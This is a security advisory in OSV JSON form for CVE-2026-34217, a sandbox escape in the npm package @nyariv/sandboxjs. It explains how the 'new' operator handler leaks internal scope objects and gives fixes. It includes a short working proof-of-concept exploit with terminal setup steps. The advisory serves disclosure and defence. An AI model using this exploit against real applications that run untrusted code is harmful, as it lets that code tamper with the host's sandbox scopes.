CVE-2026-34217: SandboxJS Sandbox Escape Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hg73-4w7g-q96w",
  "modified" : "2026-04-06T23:18:33Z",
  "published" : "2026-04-03T21:45:38Z",
  "aliases" : [ "CVE-2026-34217" ],
  "summary" : "SandboxJS: Sandbox Escape via Prop Object Leak in New Handler",
  "details" : "## Description\n\nA scope modification vulnerability exists in `@nyariv/sandboxjs` version 0.8.35 and below. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the `new` operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution.\n\n## Vulnerable Code Location\n\n### Primary: The `New` Operator Handler\n\n**File**: `src/executor.ts`, lines 1275–1280\n\n```typescript\naddOps<new (...args: unknown[]) => unknown, unknown[]>(\n  LispType.New,\n  ({ done, a, b, context }) => {\n    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {\n      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n    }\n    done(undefined, new a(...b));  // ← b is NOT sanitized, return is NOT sanitized\n  },\n);\n```\n\nThis handler has **two missing sanitization steps**:\n\n1. **Arguments (`b`) are not passed through `valueOrProp()`** — Constructor arguments contain raw `Prop` objects (internal interpreter wrappers) instead of extracted values.\n\n2. **Return value is not passed through `getGlobalProp()` or `sanitizeArray()`** — The constructed object is returned directly to the execution tree without any sanitization.\n\n### Comparison: The `Call` Handler (Correctly Implemented)\n\n**File**: `src/executor.ts`, lines 493–605\n\n```typescript\naddOps<unknown, Lisp[], any>(LispType.Call, ({ done, a, b, obj, context }) => {\n  // ...\n  const vals = b\n    .map((item) => {\n      if (item instanceof SpreadArray) {\n        return [...item.item];\n      } else {\n        return [item];\n      }\n    })\n    .flat()\n    .map((item) => valueOrProp(item, context));  // ← Arguments ARE sanitized\n  // ...\n  let ret = evl ? evl(obj.context[obj.prop], ...vals) : (obj.context[obj.prop](...vals));\n  ret = getGlobalProp(ret, context) || ret;  // ← Return IS sanitized\n  sanitizeArray(ret, context);               // ← Return IS sanitized\n  done(undefined, ret);\n});\n```\n\nThe `Call` handler correctly sanitizes both arguments (via `valueOrProp`) and return values (via `getGlobalProp` and `sanitizeArray`). The `New` handler does neither.\n\n---\n\n## Why This Is Vulnerable\n\n### Step 1: What is a Prop Object?\n\nThe sandbox interpreter wraps every value access in a `Prop` object (defined at `src/utils.ts`, lines 565–582). A `Prop` has:\n\n```typescript\nclass Prop {\n  context: any;       // The object the property belongs to\n  prop: PropertyKey;  // The property name\n  isConst: boolean;\n  isGlobal: boolean;\n  isVariable: boolean;\n}\n```\n\nWhen sandboxed code accesses a variable like `isNaN`, the interpreter creates `Prop(scope.allVars, 'isNaN')`. The `context` field is a direct reference to the scope's variable storage object.\n\n### Step 2: What is in `scope.allVars`?\n\nAt the global scope level, `scope.allVars` is the same object as `options.globals` — the SAFE_GLOBALS object containing:\n\n```javascript\n{\n  globalThis: <real globalThis>,\n  Function: <real Function constructor>,\n  eval: <real eval function>,\n  console: { log: console.log, ... },\n  Array, Object, Map, Set, Promise, Date, Error, RegExp,\n  isNaN, parseInt, parseFloat, ...\n}\n```\n\nThese are the **real** host JavaScript objects. The sandbox normally protects them by intercepting reads through the Prop handler and replacing dangerous ones via the evals Map.\n\n### Step 3: How the Prop Leaks Through `new`\n\nWhen sandboxed code executes `new Constructor(someVariable)`:\n\n1. The interpreter evaluates `someVariable` — this produces a `Prop` object: `Prop(scope.allVars, 'someVariable')`\n2. The `New` handler receives this `Prop` as-is in the `b` array (no `valueOrProp()` call)\n3. `new Constructor(...[Prop])` passes the raw `Prop` object to the constructor function\n4. Inside the constructor, the `Prop` is received as a named parameter\n5. The constructor reads `arg.context` — this is the raw `scope.allVars` object containing all real globals\n6. The constructor stores this reference: `this.scope = arg.context`\n7. The constructed object is returned without sanitization\n\n## Proof of Concept\n\n### Step-by-Step Reproduction (Terminal)\n\n#### Step 1: Create a new directory and initialize\n\n```bash\nmkdir sandboxjs-poc\ncd sandboxjs-poc\nnpm init -y\n```\n\n#### Step 2: Set module type to ESM\n\n```bash\nnode -e \"const p=require('./package.json');p.type='module';require('fs').writeFileSync('package.json',JSON.stringify(p,null,2))\"\n```\n\n#### Step 3: Install the vulnerable package\n\n```bash\nnpm install @nyariv/sandboxjs@0.8.35\n```\n\n#### Step 4: Create the minimal exploit\n\n```bash\ncat > exploit.mjs << 'EOF'\nimport pkg from '@nyariv/sandboxjs';\nconst Sandbox = pkg.default || pkg;\nconst sandbox = new Sandbox();\nconst {scope} = sandbox.compile(`function E(a){this.scope=a.context}return new E(isNaN)`)({}).run();\nconsole.log(scope);\nEOF\n```\n\n#### Step 5: Run it\n\n```bash\nnode exploit.mjs\n```\n\n## Impact\n\nAn attacker who can control code executed inside the sandbox can modify scope variables above its current available scope\n\nThe attack requires **no authentication**, **no user interaction**, and works with **default sandbox configuration**. The only requirement is that the host application reads the return value from `sandbox.compile(code)({}).run()`, which is the standard and documented usage pattern.\n\n---\n\n## Suggested Remediation\n\n### Fix 1: Sanitize New Handler Arguments (Critical)\n\nAdd `valueOrProp()` to constructor arguments, matching the Call handler's behavior:\n\n```typescript\n// src/executor.ts line 1275-1280\naddOps<new (...args: unknown[]) => unknown, unknown[]>(\n  LispType.New,\n  ({ done, a, b, context }) => {\n    if (!context.ctx.globalsWhitelist.has(a) && !context.ctx.sandboxedFunctions.has(a)) {\n      throw new SandboxAccessError(`Object construction not allowed: ${a.constructor.name}`);\n    }\n    const sanitizedArgs = b.map((item) => valueOrProp(item, context));\n    const result = new a(...sanitizedArgs);\n    const sanitized = getGlobalProp(result, context) || result;\n    sanitizeArray(sanitized, context);\n    done(undefined, sanitized);\n  },\n);\n```\n\n### Fix 2: Sanitize Sandbox Return Values (Defense in Depth)\n\nAdd deep sanitization in `Sandbox.ts` to strip internal references from any value returned to the host, regardless of how it was produced.\n\n### Fix 3: Freeze the Globals Object (Defense in Depth)\n\nFreeze or seal `options.globals` and `scope.allVars` after construction to prevent mutation via the Prop leak:\n\n```typescript\nObject.freeze(options.globals);\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.36"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.35"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34217"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/abc02f657279e51a4aaad2bc8f99f3e37a01b287"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-668" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T21:45:38Z",
    "nvd_published_at" : "2026-04-06T16:16:34Z"
  }
}